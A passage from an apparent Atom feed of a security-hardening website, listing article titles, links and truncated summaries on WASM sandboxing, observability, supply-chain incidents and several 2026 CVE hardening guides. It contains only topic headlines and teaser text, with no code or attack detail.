    <title>User Behavior Analytics: Detecting Insider Threats and Compromised Accounts</title>
    <link href="https://www.systemshardening.com/articles/observability/user-behavior-analytics/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/user-behavior-analytics/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>User Behavior Analytics: Detecting Insider Threats and Compromised Accounts
Problem
A disgruntled employee copies 40,000 customer records to a personal drive the week before their resignation. A...</summary>
  </entry>
  
  <entry>
    <title>VictoriaMetrics Security Hardening: Authentication, TLS, Tenant Isolation, and Data Protection</title>
    <link href="https://www.systemshardening.com/articles/observability/victoriametrics-security-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/victoriametrics-security-hardening/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>VictoriaMetrics Security Hardening: Authentication, TLS, Tenant Isolation, and Data Protection
Problem
VictoriaMetrics is a drop-in Prometheus-compatible time-series database designed for high...</summary>
  </entry>
  
  <entry>
    <title>Security Hardening for WASM at the CDN Edge: Cloudflare Workers and Fastly Compute@Edge</title>
    <link href="https://www.systemshardening.com/articles/wasm/cloudflare-workers-fastly-edge-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/cloudflare-workers-fastly-edge-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Security Hardening for WASM at the CDN Edge: Cloudflare Workers and Fastly Compute@Edge
The Problem
CDN edge runtimes — Cloudflare Workers and Fastly Compute@Edge — are attractive for...</summary>
  </entry>
  
  <entry>
    <title>Running User-Provided WASM Safely: Sandboxing Untrusted Customer Code</title>
    <link href="https://www.systemshardening.com/articles/wasm/user-provided-wasm-execution/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/user-provided-wasm-execution/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Running User-Provided WASM Safely: Sandboxing Untrusted Customer Code
Problem
User-provided code execution is the hardest surface to secure on any platform. When a SaaS product lets customers upload...</summary>
  </entry>
  
  <entry>
    <title>WASI Security Roadmap: Preview 2, WASIp3 Async, and Upcoming Security Proposals</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasip3-security-roadmap/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasip3-security-roadmap/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASI Security Roadmap: Preview 2, WASIp3 Async, and Upcoming Security Proposals
The Problem with How WASI Evolved
WASI started as a portability story, not a security story. The original design goal in...</summary>
  </entry>
  
  <entry>
    <title>WASM API Gateway Plugins: Securing Kong, APISIX, and Custom Gateway Extensions</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-api-gateway-plugins/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-api-gateway-plugins/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM API Gateway Plugins: Securing Kong, APISIX, and Custom Gateway Extensions
Problem
API gateways are chokepoints. Every inbound request, every auth token, every request body for every tenant flows...</summary>
  </entry>
  
  <entry>
    <title>WASM Binary Analysis: Security Testing and Reverse Engineering Defences</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-binary-analysis-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-binary-analysis-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Binary Analysis: Security Testing and Reverse Engineering Defences
Problem
WebAssembly was designed for portability and speed, not for confidentiality. The binary format is a structured,...</summary>
  </entry>
  
  <entry>
    <title>Capability-Based File I/O Security in WASM with cap-std and WASI</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-cap-std-capability-io/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-cap-std-capability-io/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Capability-Based File I/O Security in WASM with cap-std and WASI
Problem
Every POSIX process inherits a filesystem namespace scoped to the entire host tree. A Rust program that calls...</summary>
  </entry>
  
  <entry>
    <title>WASM for Secure Client-Side Financial Calculations: Isolating Sensitive Logic from Browser Attacks</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-client-side-financial-calculations/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-client-side-financial-calculations/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM for Secure Client-Side Financial Calculations: Isolating Sensitive Logic from Browser Attacks
Problem
Financial calculation logic in the browser has a deceptively large attack surface. A mortgage...</summary>
  </entry>
  
  <entry>
    <title>WASM Component Composition Security: Capability Flow and Interface Boundaries</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-component-composition-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-component-composition-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Component Composition Security: Capability Flow and Interface Boundaries
Problem
The WASM Component Model formalises what shared-library composition never could: every call crossing a component...</summary>
  </entry>
  
  <entry>
    <title>Cryptographic Implementations in WASM: Timing Safety, WASI Crypto, and Key Handling</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-crypto-implementations/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-crypto-implementations/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Cryptographic Implementations in WASM: Timing Safety, WASI Crypto, and Key Handling
Problem
WebAssembly is an increasingly common compilation target for cryptographic code. The same Rust crate — ring,...</summary>
  </entry>
  
  <entry>
    <title>WASM Fuel Metering and Execution Budget Enforcement for DoS Prevention</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-fuel-metering/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-fuel-metering/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Fuel Metering and Execution Budget Enforcement for DoS Prevention
Problem
WebAssembly’s sandbox provides memory isolation and a capability-denied-by-default host interface. It provides no CPU...</summary>
  </entry>
  
  <entry>
    <title>Fuzzing WebAssembly: Security Testing WASM Modules and Runtimes</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-fuzzing-security-testing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-fuzzing-security-testing/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Fuzzing WebAssembly: Security Testing WASM Modules and Runtimes
Problem
There are two distinct fuzzing targets in a WebAssembly deployment, and they require entirely different approaches. Conflating...</summary>
  </entry>
  
  <entry>
    <title>WASM Host Function Security: Hardening the WASM-to-Host Boundary</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-host-function-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-host-function-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Host Function Security: Hardening the WASM-to-Host Boundary
The Problem
The WebAssembly sandbox model provides one strong guarantee: a module cannot directly access host memory, invoke system...</summary>
  </entry>
  
  <entry>
    <title>WASM for IoT Firmware Updates: Secure Field-Updateable Device Functionality</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-iot-firmware-updates/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-iot-firmware-updates/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM for IoT Firmware Updates: Secure Field-Updateable Device Functionality
The Problem
Traditional IoT firmware updates replace the entire executable image on a device. A temperature sensor running a...</summary>
  </entry>
  
  <entry>
    <title>WASM vs Container Isolation: What AI-Scale Vulnerability Discovery Changes</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-isolation-vs-container-isolation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-isolation-vs-container-isolation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM vs Container Isolation: What AI-Scale Vulnerability Discovery Changes
The Problem
Container escapes divide cleanly into two categories, and the distinction determines whether patching can keep...</summary>
  </entry>
  
  <entry>
    <title>WASM JIT Compiler Security: JIT Spraying and Speculative Execution Defenses</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-jit-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-jit-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM JIT Compiler Security: JIT Spraying and Speculative Execution Defenses
Problem
WebAssembly’s security model rests on two guarantees: structural sandboxing enforced by the runtime and memory...</summary>
  </entry>
  
  <entry>
    <title>WASM as a Kubernetes Sidecar: Lightweight Security Proxies and Policy Enforcement</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-kubernetes-sidecar-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-kubernetes-sidecar-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM as a Kubernetes Sidecar: Lightweight Security Proxies and Policy Enforcement
The Problem With Traditional Sidecars
The sidecar pattern is foundational to Kubernetes security architecture. Envoy...</summary>
  </entry>
  
  <entry>
    <title>WASM Module Caching Security: Protecting Precompiled Artefacts</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-module-caching-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-module-caching-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Module Caching Security: Protecting Precompiled Artefacts
Problem
Wasmtime’s module cache is a transparent performance optimisation: the first time a .wasm file is loaded, Wasmtime compiles it to...</summary>
  </entry>
  
  <entry>
    <title>Securing WASM Module Loading and Validation at Runtime</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-module-loading-validation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-module-loading-validation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Securing WASM Module Loading and Validation at Runtime
Problem
Most embeddings of WebAssembly runtimes follow the same pattern: read bytes from disk or network, call Module::new (or the equivalent),...</summary>
  </entry>
  
  <entry>
    <title>WASM Module Signing Beyond OCI: COSE, In-Band Signatures, and Non-Registry Distribution</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-module-signing-cose/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-module-signing-cose/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Module Signing Beyond OCI: COSE, In-Band Signatures, and Non-Registry Distribution
Problem
OCI signing — cosign, notation, Sigstore keyless — is well-documented for WASM modules stored in...</summary>
  </entry>
  
  <entry>
    <title>WASM for Network Packet Processing: Security Filters and Traffic Inspection</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-network-packet-processing/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-network-packet-processing/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM for Network Packet Processing: Security Filters and Traffic Inspection
The Problem
Network packet processing sits at an uncomfortable intersection of performance and safety. The code that...</summary>
  </entry>
  
  <entry>
    <title>WASM Policy Engines: Beyond OPA — Custom Policy Logic and Embedded Enforcement</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-policy-engines/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-policy-engines/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Policy Engines: Beyond OPA — Custom Policy Logic and Embedded Enforcement
Problem
Policy evaluation is a cross-cutting security concern. Every service that enforces access control, validates...</summary>
  </entry>
  
  <entry>
    <title>Post-Quantum Cryptography in WASM: Migration Readiness for WebAssembly Deployments</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-post-quantum-cryptography/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-post-quantum-cryptography/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Post-Quantum Cryptography in WASM: Migration Readiness for WebAssembly Deployments
Problem
WebAssembly deployments increasingly handle sensitive key exchange and digital signatures across edge...</summary>
  </entry>
  
  <entry>
    <title>WASM Reference Types and Host Binding Security: Hardening externref and funcref</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-reference-types-host-binding/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-reference-types-host-binding/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Reference Types and Host Binding Security: Hardening externref and funcref
The Problem
Before reference types, WASM guest code interacted with host objects by passing integer indices. The guest...</summary>
  </entry>
  
  <entry>
    <title>WASM in Regulated Industries: Medical, Automotive, and Industrial Deployments</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-regulated-industries/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-regulated-industries/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM in Regulated Industries: Medical, Automotive, and Industrial Deployments
Why WASM Belongs in Safety-Critical Systems
Regulated industries share a common problem: software that runs on physical...</summary>
  </entry>
  
  <entry>
    <title>WASM Runtime Attestation: Verifying Execution Environment Integrity</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-runtime-attestation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-runtime-attestation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Runtime Attestation: Verifying Execution Environment Integrity
Problem
A WASM module signature proves a module was built by a trusted pipeline. It says nothing about what happens after the module...</summary>
  </entry>
  
  <entry>
    <title>WASM Runtime Security Instrumentation: Monitoring Host Calls and Execution Behaviour</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-runtime-instrumentation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-runtime-instrumentation/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>Instrumenting WASM Runtimes for Security Monitoring and Tracing
Problem
WebAssembly’s sandbox is its core security property: modules run in an isolated linear memory space, cannot make arbitrary...</summary>
  </entry>
  
  <entry>
    <title>WASM Supply Chain: SBOM Generation and Provenance for WebAssembly Modules</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-sbom-provenance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-sbom-provenance/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Supply Chain: SBOM Generation and Provenance for WebAssembly Modules
The Problem
Container images carry a visible, scannable layer structure. A tool like syft or trivy can walk the image’s...</summary>
  </entry>
  
  <entry>
    <title>WASM and seccomp: Host-Side Syscall Filtering for Runtime Defence in Depth</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-seccomp-syscall-filtering/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-seccomp-syscall-filtering/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM and seccomp: Host-Side Syscall Filtering for Runtime Defence in Depth
Problem
The WebAssembly sandbox is a strong isolation primitive. A WASM module cannot call open(2) or socket(2) directly — it...</summary>
  </entry>
  
  <entry>
    <title>WASM Security Testing Methodology: Static Analysis, Dynamic Testing, and Supply Chain Verification</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-security-testing-methodology/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-security-testing-methodology/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Security Testing Methodology: Static Analysis, Dynamic Testing, and Supply Chain Verification
Problem
WASM deployments have no standard security testing playbook. Teams borrow from native binary...</summary>
  </entry>
  
  <entry>
    <title>WASM Shared-Nothing Architecture: Security Benefits of Zero Memory Sharing</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-shared-nothing-microservices/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-shared-nothing-microservices/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Shared-Nothing Architecture: Security Benefits of Zero Memory Sharing
Why Shared-Nothing Is a Security Property, Not a Performance Pattern
In most discussions of microservice architecture,...</summary>
  </entry>
  
  <entry>
    <title>WASM SIMD128 Security: Timing Side Channels and Cryptographic Pitfalls</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-simd-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-simd-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM SIMD128 Security: Timing Side Channels and Cryptographic Pitfalls
Problem
The WASM SIMD128 proposal — standardized and enabled by default in all major runtimes since 2022 — adds 128-bit Single...</summary>
  </entry>
  
  <entry>
    <title>WASM Smart Contract Security: CosmWasm and NEAR</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-smart-contract-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-smart-contract-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Smart Contract Security: CosmWasm and NEAR
Problem
WebAssembly’s deterministic execution model and sandbox isolation make it a natural fit for blockchain smart contracts. Unlike the Ethereum...</summary>
  </entry>
  
  <entry>
    <title>WASM Security in WebKit/Safari and Mobile Browser Contexts</title>
    <link href="https://www.systemshardening.com/articles/wasm/wasm-webkit-mobile-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/wasm/wasm-webkit-mobile-security/</id>
    <published>2026-05-07T00:00:00.000Z</published>
    <updated>2026-05-07T00:00:00.000Z</updated>
    <category term="wasm"/>
    <summary>WASM Security in WebKit/Safari and Mobile Browser Contexts
Problem
Most WASM browser security guidance is written with V8 (Chrome/Node.js) as the reference runtime. WebKit — the engine powering Safari...</summary>
  </entry>
  
  <entry>
    <title>LLM-Assisted Supply Chain Incident Response: Accelerating the Axios Blast Radius Analysis</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/llm-supply-chain-incident-response/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/llm-supply-chain-incident-response/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LLM-Assisted Supply Chain Incident Response: Accelerating the Axios Blast Radius Analysis
The Problem
The Axios compromise disclosure on March 31 2026 gave security teams a specific, time-bounded...</summary>
  </entry>
  
  <entry>
    <title>LMDeploy SSRF and IMDS Exfiltration: CVE-2026-33626 on GPU Inference Nodes</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/lmdeploy-ssrf-imds-exfiltration/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/lmdeploy-ssrf-imds-exfiltration/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>LMDeploy SSRF and IMDS Exfiltration: CVE-2026-33626 on GPU Inference Nodes
The Problem
CVE-2026-33626 is a server-side request forgery vulnerability in LMDeploy’s vision-language inference pipeline....</summary>
  </entry>
  
  <entry>
    <title>MCP RCE via Project Config Files: CVE-2026-21852 and the MCP Trust Model</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/mcp-rce-project-config-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/mcp-rce-project-config-hardening/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>MCP RCE via Project Config Files: CVE-2026-21852 and the MCP Trust Model
The Problem
CVE-2026-21852 describes a code execution path in Claude Code: when a developer opens a project directory, Claude...</summary>
  </entry>
  
  <entry>
    <title>GitHub Actions Supply Chain: The Trivy Action Compromise and SHA Pinning</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-actions-trivy-compromise/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-actions-trivy-compromise/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Actions Supply Chain: The Trivy Action Compromise and SHA Pinning
The Problem
Every uses: line in a GitHub Actions workflow is a trust decision. Between March 19 and March 31 2026, the threat...</summary>
  </entry>
  
  <entry>
    <title>GitHub Enterprise Server RCE via Git Push: CVE-2026-3854</title>
    <link href="https://www.systemshardening.com/articles/cicd/github-enterprise-rce-git-push/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/github-enterprise-rce-git-push/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>GitHub Enterprise Server RCE via Git Push: CVE-2026-3854
The Problem
CVE-2026-3854 is a CVSS 8.7 remote code execution vulnerability in GitHub Enterprise Server that requires only push access to any...</summary>
  </entry>
  
  <entry>
    <title>npm Lockfile Integrity: What package-lock.json Protects Against (and What It Doesn&#39;t)</title>
    <link href="https://www.systemshardening.com/articles/cicd/npm-lockfile-integrity-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/npm-lockfile-integrity-security/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>npm Lockfile Integrity: What package-lock.json Protects Against (and What It Doesn’t)
The Problem
After the Axios compromise of March 31 2026, a common reaction among platform teams was: “we pin...</summary>
  </entry>
  
  <entry>
    <title>npm Package Integrity Verification: The Gap the Axios Attack Exposed</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/npm-package-integrity-verification/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/npm-package-integrity-verification/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>npm Package Integrity Verification: The Gap the Axios Attack Exposed
The Problem
The integrity field in package-lock.json — a SHA-512 hash of the package tarball — is widely understood as a supply...</summary>
  </entry>
  
  <entry>
    <title>OpenSSL CMS RCE: Patching CVE-2025-15467 and the AI-Discovered Vulnerability Class</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/openssl-cms-rce-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/openssl-cms-rce-hardening/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>The Problem
CVE-2025-15467 is a stack buffer overflow in OpenSSL’s CMS (Cryptographic Message Syntax) AuthEnvelopedData parser, rated CVSS 9.8. Processing a maliciously crafted CMS message — received...</summary>
  </entry>
  
  <entry>
    <title>Python Cryptography Buffer Overflow: CVE-2026-39892 and Non-Contiguous Buffers</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/python-cryptography-buffer-overflow/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/python-cryptography-buffer-overflow/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>The Problem
CVE-2026-39892, disclosed May 2026 and fixed in cryptography 46.0.7, is a buffer overflow triggered by passing a non-contiguous memory buffer to Hash.update(), HMAC.update(), or any other...</summary>
  </entry>
  
  <entry>
    <title>gRPC-Go HTTP/2 Path Authorization Bypass: CVE-2026-33186</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/grpc-go-path-auth-bypass/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/grpc-go-path-auth-bypass/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>gRPC-Go HTTP/2 Path Authorization Bypass: CVE-2026-33186
The Problem
CVE-2026-33186 (CVSS 9.1, disclosed March 19 2026) allows any client with a valid gRPC authentication credential to invoke gRPC...</summary>
  </entry>
  
  <entry>
    <title>ingress-nginx Annotation Injection 2026: CVE-2026-24512 and the New Hardening Controls</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ingress-nginx-annotation-injection-2026/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ingress-nginx-annotation-injection-2026/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>ingress-nginx Annotation Injection 2026: CVE-2026-24512 and the New Hardening Controls
The Problem
The April–May 2026 ingress-nginx CVE batch, led by CVE-2026-24512 at CVSS 9.0, is a second wave of...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Incident Response for npm Supply Chain Compromises</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/kubernetes-supply-chain-incident-response/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/kubernetes-supply-chain-incident-response/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Incident Response for npm Supply Chain Compromises
The Problem
When the Axios compromise was announced on March 31 2026, every organisation running Node.js in Kubernetes faced the same...</summary>
  </entry>
  
  <entry>
    <title>Linux Developer Workstation Hardening: Closing the Axios Supply Chain Vector</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-developer-workstation-supply-chain/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-developer-workstation-supply-chain/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux Developer Workstation Hardening: Closing the Axios Supply Chain Vector
The Problem
The Axios supply chain attack did not begin with a compromised server, a malicious pull request, or a CI/CD...</summary>
  </entry>
  
  <entry>
    <title>Linux LPE Defence in Depth: Raising the Bar Against Kernel Privilege Escalation</title>
    <link href="https://www.systemshardening.com/articles/linux/linux-lpe-defence-in-depth/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/linux-lpe-defence-in-depth/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Linux LPE Defence in Depth: Raising the Bar Against Kernel Privilege Escalation
The Problem
CVE-2026-31431 (Copy Fail) was the highest-profile kernel local privilege escalation of 2026, but it was not...</summary>
  </entry>
  
  <entry>
    <title>Python Cryptography DNS Name Constraint Bypass: CVE-2026-34073 on Linux Services</title>
    <link href="https://www.systemshardening.com/articles/linux/python-cryptography-cert-bypass/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/python-cryptography-cert-bypass/</id>
    <published>2026-05-04T00:00:00.000Z</published>
    <updated>2026-05-04T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Python Cryptography DNS Name Constraint Bypass: CVE-2026-34073 on Linux Services
The Problem
X.509 name constraints let a CA limit which domain names its issued certificates may assert. The...</summary>
  </entry>
  
  <entry>
